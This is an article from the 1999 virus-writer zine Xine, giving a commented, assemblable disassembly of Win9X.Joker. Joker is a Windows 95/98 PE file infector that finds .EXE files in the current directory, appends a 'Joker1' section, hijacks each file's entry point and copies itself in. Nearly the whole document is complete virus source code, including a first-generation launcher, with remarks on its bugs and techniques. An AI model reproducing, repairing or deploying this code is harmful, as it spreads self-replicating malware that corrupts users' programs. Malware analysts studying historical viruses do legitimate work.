
                                        /-----------------------------\
                                        | Xine - issue #4 - Phile 312 |
                                        \-----------------------------/

; ===========================================================================
; Win9X.Joker
; ===========================================================================
;
; Name            : Win9X.Joker (?)
; Version         : N/A
; Original Author : Unknown
; Original Size   : 940 bytes
; Platform        : Win9x
; Kind            : Direct action PE infector
; Origin          : Unknown
; Dissassembly by : Billy BelcebŁ/iKX
;
; Some comments   :
;
; All about this  virus is a mistery. It hasn't any sign, or copyright texts,
; so i can't know about who is the author of this virus. If i had to guess it
; basing myself in the coding  style, this  virus would be  from one  of this
; three guys: JHB, Murkry or Mark  Ludwig. But, i'm not here  for suppose the
; authory of this virus, i'm here just  for disassemble it :) About the  name
; i've given  to this virus, it's  another supposition: it's the  name of the
; section that is added to all infected files by this virus.
;
; Well, about what  this virus does, it's very simple. It searches trough the
; current directory for files, and  infects them by adding a new section. The
; virus will only infect two  files per run. The new  section added will have
; the  name  of "Joker1", so  that's  why  i  called this  virus in that way.
; This virus has one enormous bug that will make it to avoid the infection of
; almost all PE files it  tries to, anyway  the coder  of this tiny virus has
; shown good skills, because he  does some really clever  things. The code is
; not specially optimized but anyway, it's not a problem. The thing that most
; impacted me is the fact that this virus DOESN'T get the delta offset in any
; place. It's, at least, strange :)
;
; This virus  will not  be  able to spread under NT, because instead of using
; APIs, it only  searches for  the VxDCall0 API, and  uses the Int21_Dispatch
; function of the said API, so  the virus  is very similar to a DOS infector,
; but under Windows. The problem  is that  in  WinNT that API doesn't exists.
; So, this  virus  will  only  be able  to replicate in  Win95 and  Win98 OS.
;
; The virus doesn't manifest itself in any form, it's harmless.
;
; This  is my  third  disassembly (and i hope  it won't be the last), and the
; first one virus i have disassembled (previously i had disassembled a tunne-
; ling engine and a poly  engine). It was  done all  the 27th of June. Enjoy!
;
; (c) 1999 Billy Belcebu/iKX
; 
        .386
        .model  flat

        .data

        dd      0                       ; Some data for TLINK

; ---------------------------------------------------------------------------
; Virus data
; ---------------------------------------------------------------------------

virus_size      equ     03ACh

buffer          equ     0004h
FindData        equ     0404h

;typedef struct _WIN32_FIND_DATA {
;   DWORD dwFileAttributes;
;   FILETIME ftCreationTime;            ;DD ?,?
;   FILETIME ftLastAccessTime;          ;DD ?,?
;   FILETIME ftLastWriteTime;           ;DD ?,?
;   DWORD nFileSizeHigh;
;   DWORD nFileSizeLow;
;   DWORD dwReserved0;
;   DWORD dwReserved1;
;   CHAR cFileName[MAX_PATH];
;   CHAR cAlternateFileName[ 14 ];
;} WIN32_FIND_DATA

FileSizeHigh    equ     0420h
FileSizeLow     equ     0424h
FileAttributes  equ     0430h

; ---

FileHandle      equ     0544h
SearchHandle    equ     0548h
ASizeOfRawData  equ     054Ch
Ptr2LastSection equ     0550h
AVirusSize      equ     0554h
InfCounter      equ     0558h
PushImm32       equ     055Ch
OldEIP          equ     055Dh
WorkSpace       equ     0564h

HostEIP         equ     0584h
RetAddress      equ     0588h

        .code

; ---------------------------------------------------------------------------
; This is the virus code
; ---------------------------------------------------------------------------

virus_start:
        push    offset first_generation-400000h

; The above coded will be patched during infections

        pusha                           ; Save all registers
        sub     esp, WorkSpace          ; Make space for stack frame
        mov     ebp, esp                ; Save it in EBP
        call    @@1
@@1:    pop     eax                     ; EAX = An address into host own process
        call    CheckBase               ; Get ImageBase of current process
        add     [ebp+HostEIP], eax

        cmp     dword ptr [ebp+RetAddress], 0 ; See if NULL return address
        jz      short ExitVirus

        mov     eax, [ebp+RetAddress]   ; EAX = Return address
        call    CheckBase

        or      eax, eax                ; Error?
        jz      ExitVirus               ; Shit if so...
        mov     [ebp+RetAddress], eax

        call    GetVxDCall0             ; Try to get the VxDCall0
        or      eax, eax                ; Error?
        jz      ExitVirus               ; Shit if so...

        mov     dword ptr [ebp+InfCounter], 1 ; Set infection counter
        call    FindFirstFile           ; Find a file for infect

InfectAnother:				; ...
        or      eax, eax                ; Error returned?
        jz      ExitVirus               ; Damn...
        cmp     dword ptr [ebp+InfCounter], 1
        ja      ExitVirus               ; Did we infected one file? If so, go away
        call    InfectFile              ; Infect!
        call    FindNextFile            ; Find another file
        jmp     InfectAnother

ExitVirus:				; ...
        add     esp, WorkSpace          ; Restore stack frame
        popa                            ; Restore all registers
        retn                            ; And return control to host

; ---------------------------------------------------------------------------
; This routine searches for PE mark in headers (for get ImageBase & K32)
; ---------------------------------------------------------------------------

CheckBase:
        pusha                           ; Save all registers
        mov     ebp, esp                ; Make a stack frame

SetSEHandSearch:			; ...
        push    4010B4h                 ; SEH handler address (?)

; BUG! If a fault occurs, this is pointing to a hardcoded address, and it's
; not fixed with delta offset as it should be...

        push    dword ptr fs:0          ; Save old SEH handler
        mov     fs:0, esp               ; Put the new one
        xchg    eax, esi

Check4MZ_PE:				; ...
        and     esi, 0FFFFF000h         ; Align to page
        pusha                           ; Save all registers
        lodsw                           ; Get a word
        cmp     ax, "ZM"                ; MZ mark?
        jnz     continue_search
        add     esi, [esi+3Ah]
        dec     esi
        dec     esi
        lodsw
        cmp     ax, "EP"                ; Check for PE sign...
        jz      K32_Exit

        xor     eax, eax
        jmp     short K32_Exit

continue_search:			; ...
        popa 
        sub     esi, 1000h
        jmp     short Check4MZ_PE
        mov     eax, [esp+8]            ; Fix stack
        lea     esp, [eax-20h]
        popa 
        pop     dword ptr fs:0          ; Restore old SEH handler
        inc     esp                     ; Fix stack (shit from new SEH handler)
        inc     esp
        inc     esp
        inc     esp
        sub     esi, 1000h              ; Substract one page...
        jmp     SetSEHandSearch         ; and continue searching!

K32_Exit:				; ...
        popa 
        pop     dword ptr fs:0          ; Restore old SEH handler
        add     esp, 4                  ; Clear shit of stack (new SEH handler)
        mov     [ebp+1Ch], esi          ; EAX = ESI after pushad
        popa                            ; Restore all the registers
        retn 

; ---------------------------------------------------------------------------
; Get the VxDCall0 API from KERNEL32 export table
; ---------------------------------------------------------------------------

GetVxDCall0:
        push    ebx                     ; Save EBX (used in routine)
        push    eax                     ; Save EAX (K32 base address)
        mov     ebx, [eax+3Ch]          ; EBX = Pointer to PE sign
        add     ebx, eax                ; RVA >> VA
        mov     ebx, [ebx+78h]          ; And now lookout in the exports for
        lea     ebx, [ebx+eax+1Ch]      ; the first API exported, that is
        mov     ebx, [ebx]              ; the VxDCall0! :)
        add     eax, [eax+ebx]          ; EAX = VxDCall0 API
        mov     fs:14h, eax             ; Store VxDCall0 into FS:14h address
        pop     eax                     ; Restore K32 base address in EAX
        pop     ebx                     ; Restore EBX
        retn                            ; Return to caller :)

; ---------------------------------------------------------------------------
; Find the first file in the current directory
; ---------------------------------------------------------------------------

FindFirstFile:
        mov     ax, 714Eh               ; EAX = LFN FindFirstFile funciton
        cwde                            ; Convet word AX into doubleword EAX
        call    PerformSearch

        db      "*.EXE",0               ; EXE Wildcard

PerformSearch:				; ...
        pop     edx                     ; EDX = ASCIIz wildcard
        lea     edi, [ebp+FindData]     ; EDI = FindData record
        xor     ecx, ecx                ; ECX = Attributes
        lea     esi, [ecx]              ; Date time format
        inc     esi                     ; ESI = 1
        call    Int21h
        jnb     ExitSearch

        xor     eax, eax                ; Exit with error

ExitSearch:				; ...
        mov     [ebp+SearchHandle], eax ; Store search handle
        retn 

; ---------------------------------------------------------------------------
; Find next files
; ---------------------------------------------------------------------------

FindNextFile:
        mov     ax, 714Fh               ; AX = LFN FindNextFile function
        cwde                            ; Convert word AX into doubleword EAX
        lea     edi, [ebp+FindData]     ; EDI = Pointer to FindData struc
        xor     esi, esi                ; ESI = DataTime format
        inc     esi
        mov     ebx, [ebp+SearchHandle] ; EBX = Search handle
        call    Int21h

        jnb     ExitFindNextFil
        xor     eax, eax                ; EAX = 0 (Exit with error)

ExitFindNextFil:			; ...
        retn 

; ---------------------------------------------------------------------------
; Infect the found file
; ---------------------------------------------------------------------------

InfectFile:
        call    OpenFile
        jnb     continue_inf

        xor     eax, eax
        retn 

continue_inf:				; ...
        mov     [ebp+FileHandle], eax   ; Store File Handle
        xor     ecx, ecx                ; ECX = 0
        mov     ch, 4                   ; Read 400h bytes
        call    ReadFromFile
        jb      inf_stage2

        call    CheckValidPE

inf_stage2:				; ...
        jb      InfError1               ; Error? Damn...

        cmp     dword ptr [ebp+FileSizeHigh], 0 ; FileSizeHigh = 0?
        jnz     InfError1               ; If so, too much great for us

        cmp     dword ptr [ebp+FileSizeLow], 7FFFEFFFh ; File too huge? Shit!
        ja      InfError1

        call    @@3
@@3:    pop     eax
        add     eax, 13h                ; EAX = Offset where jump

call_jump_eax:				; ...
        call    jump_eax

        db      "Joker1",0,0            ; The name of the new section

jump_eax:
        jmp     eax

        pop     eax                     ; Remove shit from stack
        push    esi                     ; Save ESI
        xchg    eax, esi                ; EAX = ESI

        lodsd
        lea     edi, [ebp+buffer]       ; EDI = Beginning of file header
        xor     ecx, ecx
        mov     ch, 1                   ; Search 400h bytes
        repne   scasd
        pop     esi
        jz      InfError1

        mov     ax, [esi+6]             ; AX = Number of sections
        cwde                            ; Convert Word to DoubleWord
        mov     ecx, 28h
        dec     eax
        mul     ecx
        add     eax, 0F8h
        add     eax, esi
        xchg    eax, edi                ; EDI = Pointer to last section
        mov     [ebp+Ptr2LastSection], edi

        mov     ebx, [edi+10h]          ; EBX = SizeOfRawData
        add     ebx, [edi+14h]          ; EBX = Raw pointer to end of last section
        mov     eax, ebx                ; EAX = EBX
        mov     ecx, [esi+3Ch]          ; ECX = File Alignment
        dec     eax                     ; Here it aligns that value
        add     eax, ecx
        xor     edx, edx                ; EDX = 0
        div     ecx
        mul     ecx                     ; EAX = Aligned value
        mov     edx, eax                ; EDX = EAX
        mov     [ebp+ASizeOfRawData], edx ; Save it in a variable

        mov     ecx, eax
        shr     ecx, 10h                ; Convert this to usable by the function
        xor     al, al                  ; Move pointer to where we want
        call    MoveFilePointer         ; Do it
        jnc     ContinueInf

InfError1:				; ...
        jmp     InfError

ContinueInf:				; ...
        mov     byte ptr [ebp+PushImm32], 68h ; Put PUSH imm8 opcode
        mov     edx, [esi+28h]          ; EDX = EIP of host
        mov     [ebp+OldEIP], edx       ; Store after push opcode

        lea     edx, [ebp+PushImm32]
        xor     ecx, ecx                ; ECX = 0
        mov     cl, 5                   ; ECX = 5
        call    Write2File
        jnc     Continue2               ; Jump over this if no error

InfError:				; ...
        jmp     CloseAndQuit            ; Shit...

Continue2:                              ; ...
        mov     eax, virus_size         ; EAX = Virus Size
        dec     eax                     ; EAX--
        xor     edx, edx                ; EDX = 0
        mov     ecx, [esi+3Ch]          ; ECX = Alignment factor
        add     eax, ecx                ; Now the virus aligns the virus size
        div     ecx
        mul     ecx
        xchg    eax, ecx
        mov     [ebp+AVirusSize], ecx   ; And saves it into its variable

        sub     ecx, 5                  ; We substract 5 (for PUSH imm32)
        call    write_virus

call_data:
        call    virus_start

write_virus:
        pop     edx                     ; EDX = Points to call_data
        add     edx, [edx+1]            ; Add the call address
        add     edx, 0Ah                ; EDX = Data to write
        call    Write2File              ; Write virus body :)

        push    esi                     ; Save ESI
        mov     edi, [ebp+Ptr2LastSection] ; EDI = Pointer after last section
        add     edi, 28h                ; EDI = EDI+28h (size of section header)

        call    @@2
@@2:    pop     eax
        add     eax, 9                  ; Jump after this shit, but for one

        jmp     call_jump_eax           ; reason... it returns us in the stack
                                        ; a pointer to the name of the new
                                        ; section :)

        pop     esi                     ; ESI = Points to "Joker1\0\0"

        lodsd                           ; We put the name of the new section
        stosd                           ; It occupies 8 bytes, so... :)
        lodsd
        stosd

        pop     esi                     ; Restore old ESI value
        mov     eax, [ebp+AVirusSize]   ; EAX = Aligned virus size
        mov     ecx, [esi+38h]          ; ECX = Section's alignment
        cdq                             ; EDX = 0
        dec     eax                     ; Align virus size to section alignment
        add     eax, ecx
        div     ecx
        mul     ecx
        stosd                           ; Section's VirtualSize

        mov     eax, [edi-28h]          ; Here the virus perform the
        add     eax, [edi-2Ch]          ; necessary actions to know
        dec     eax                     ; section's new VirtualAddress
        add     eax, ecx
        div     ecx
        mul     ecx
        stosd                           ; Section's VirtualAddress

        push    eax                     ; Store it in stack
        mov     eax, virus_size         ; EAX = VirusSize
        mov     ecx, [esi+3Ch]
        cdq                             ; EDX = 0
        dec     eax
        add     eax, ecx
        div     ecx
        mul     ecx
        stosd                           ; Section's SizeOfRawData

        mov     eax, [ebp+ASizeOfRawData]
        stosd                           ; Section's PointerToRawData

        xor     eax, eax                ; EAX = 0
        stosd                           ; Section's PointerToRelocations
        stosd                           ; Section's PointerToLineNumbers
        stosw                           ; Section's NumberofRelocations
        stosw

        mov     eax, 20000020h          ; Section's attributes
        stosd                           ; (Text, Writable)
        lea     esi, [ebp+40h]
        lodsd
        lea     esi, [ebp+eax+4]        ; ESI = Pointer to file header
        pop     eax                     ; EAX = New section's VirtualAddress
        mov     [esi+28h], eax          ; Set it as new EntryPoint

        inc     word ptr [esi+6]        ; Increase number of sections

        mov     eax, [ebp+AVirusSize]
        add     [esi+1Ch], eax          ; Add to SizeOfCode the aligned virus size
        mov     ebx, [esi+50h]          ; EBX = Old SizeOfImage
        add     eax, ebx                ; EAX = Aligned virus size+SizeOfImage
        mov     ecx, [esi+38h]          ; ECX = SectionAlignment
        dec     eax                     ; Align VirusSize+SizeOfCode
        xor     edx, edx                ; to the SectionAlignment
        add     eax, ecx
        div     ecx
        mul     ecx
        mov     [esi+50h], eax          ; Store the new SizeOfImage

        xor     edx, edx                ; EDX = 0
        mov     ecx, edx                ; ECX = 0
        xor     al, al                  ; AL = 0 (Ptr to wanted position)
        call    MoveFilePointer

        lea     edx, [ebp+buffer]       ; EDX = Pointer to virus in stack
        xor     ecx, ecx                ; ECX = 0
        mov     ch, 4                   ; Append 400h bytes
        call    Write2File

        inc     dword ptr [ebp+InfCounter] ; Increase inf. counter

CloseAndQuit:				; ...
        push    eax                     ; Save EAX
        call    CloseFile               ; Close opened file
        pop     eax                     ; Restore EAX
        retn 

; ---------------------------------------------------------------------------
; Get File Attributes
; ---------------------------------------------------------------------------

GetAttributes:				; AX = Function	GetFileAttributes
        mov     ax, 4300h
        cwde                            ; Convert word AX in dword EAX
        lea     edx, [ebp+FileAttributes] ; EDX = Pointer to file name
        call    Int21h
        retn 

; ---------------------------------------------------------------------------
; Move the file pointer to the desired address
; ---------------------------------------------------------------------------

MoveFilePointer:
        push    ebx                     ; Save EBX
        mov     ah, 42h                 ; AH = Function SetFilePointer
        cwde                            ; Convert word AX in dword EAX
        xchg    al, bl                  ; AL = Where set pointer
        mov     ebx, [ebp+FileHandle]   ; EBX = File Handle
        call    Int21h
        pop     ebx                     ; Restore EBX
        retn 

; ---------------------------------------------------------------------------
; Open file for Read/Write
; ---------------------------------------------------------------------------

OpenFile:
        mov     ax, 3D02h               ; AX = Open for read/write
        cwde                            ; Convert word AX into dword EAX
        lea     edx, [ebp+FileAttributes] ; EDX = Pointer filename to open
        xor     ecx, ecx                ; ECX = Attributes
        call    Int21h
        retn 

; ---------------------------------------------------------------------------
; Read given bytes from opened file
; ---------------------------------------------------------------------------

ReadFromFile:
        mov     ax, 3F00h               ; AX = ReadFile function
        cwde                            ; Convert word AX into dword EAX
        mov     ebx, [ebp+FileHandle]   ; EBX = File Handle
        lea     edx, [ebp+buffer]       ; EDX = Where put read data
        call    Int21h
        retn 

; ---------------------------------------------------------------------------
; Write desired data to opened file
; ---------------------------------------------------------------------------

Write2File:
        push    ebx                     ; Save EBX
        mov     ax, 4000h               ; AX = Write function
        cwde                            ; Convert word AX in dword EAX
        mov     ebx, [ebp+FileHandle]   ; EBX = File Handle
        call    Int21h                  ; Win9X Int21h's clone
        pop     ebx                     ; Restore EBX
        retn 

; ---------------------------------------------------------------------------
; Close the previously opened file
; ---------------------------------------------------------------------------

CloseFile:
        mov     ax, 3E00h               ; AX = Close File function
        cwde                            ; EDX = 0
        mov     ebx, [ebp+FileHandle]   ; EBX = File handle
        call    Int21h
        retn 

; ---------------------------------------------------------------------------
; Check for a valid PE file
; ---------------------------------------------------------------------------

CheckValidPE:
        push    eax
        push    ecx
        lea     esi, [ebp+40h]          ; Go firstly to 3Ch field in
        lodsd                           ; the PE header, and later check
        lea     esi, [ebp+eax+4]        ; the offset that it marks
        lodsw                           ; and see if points to the
        cmp     ax, 'EP'                ; PE mark :)
        jnz     ErrorExit
        stc 
        dec     esi                     ; Fix ESI, so it'll point to the
        dec     esi                     ; beginning of PE header again

; VERY IMPORTANT BUG!
; The number of sections variable is a word in the PE header, not a dword. So
; with the below code, the virus will put some shit in the more significant
; word of EAX, that will make the checks to fail, and return an error instead
; of infecting a file that could be infected :(

        mov     eax, [esi+6]            ; Tries to put in EAX the number
                                        ; of sections

; It should be MOVZX EAX,WORD PTR [ESI+6], or MOV AX,[ESI+6] / CWDE

        inc     eax                     ; Increase it
        mov     ecx, 28h
        mul     ecx
        add     eax, 0F8h
        add     eax, [ebp+40h]
        cmp     eax, 400h               ; Section table too big?
        ja      ErrorExit               ; If so, quit with error

GlobalExit:				; ...
        pop     ecx                     ; Restore values from stack
        pop     eax
        retn 

ErrorExit:				; ...
        stc 
        jmp     GlobalExit

; ---------------------------------------------------------------------------
; The pseudo INT 21h
; ---------------------------------------------------------------------------

Int21h:
        push    ecx
        push    eax
        push    2A0010h
        call    dword ptr fs:14h
        retn 

; ---------------------------------------------------------------------------
; First generation fake host
; ---------------------------------------------------------------------------

extrn   ExitProcess:PROC

first_generation:
        push    0FFh
        call    ExitProcess
end     virus_start



